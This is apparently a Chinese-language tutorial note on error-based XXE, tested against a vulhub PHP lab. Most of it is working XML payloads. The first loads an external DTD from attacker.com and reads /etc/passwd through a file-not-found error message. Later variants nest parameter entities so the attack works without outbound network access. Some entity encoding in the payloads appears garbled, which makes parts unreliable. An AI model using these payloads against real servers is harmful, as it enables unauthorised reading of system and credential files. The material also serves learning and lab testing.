Error Based XXE
在看代码审计知识星球时,学到了一种新的XXE的利用方式:Error Based XXE,一般在无回显的情况下使用
先来说报错XXE的前提条件:目标服务器开启了报错(报错XXE当然要报错了)
漏洞环境:https://github.com/vulhub/vulhub/tree/master/php/php_xxe
首先贴出来Error Based XXE的Poc
1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"> %ext; ]> <message></message>
|
ext.dtd的内容如下,开启http服务将其暴露在公网
1 2 3 4
| <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
|
看到上面的Poc,和我们无回显XXE的Poc非常相似,只是http/ftp协议被替换成了file协议,通过FileNotFound异常将我们读取到的内容回显出来,并且使用file协议并不会因为换行的原因无法读取多行文件
这种情况明显是在出网的情况下,而在不出网的情况下,也有解决办法
首先将ext.dtd引入进来,替换掉%ext,并且将其中的%进行Unicode编码
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval " <!ENTITY % error SYSTEM 'file:///nonexistent/%file;' > "> %eval; %error; ]> <message></message>
|
可以看到我们的路径已经爆出来了<font style="color:rgb(0, 0, 0);">file:///nonexistent/%file</font>,但是<font style="color:rgb(0, 0, 0);">%file</font>并没有被替换为<font style="color:rgb(0, 0, 0);">/etc/passwd</font>

我们只需要再嵌套再一个内部实体,就可以将%file替换为我们读取到的内容
1 2 3 4 5 6 7 8 9 10 11
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % condition ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %condition; ]> <message>any text</message>
|
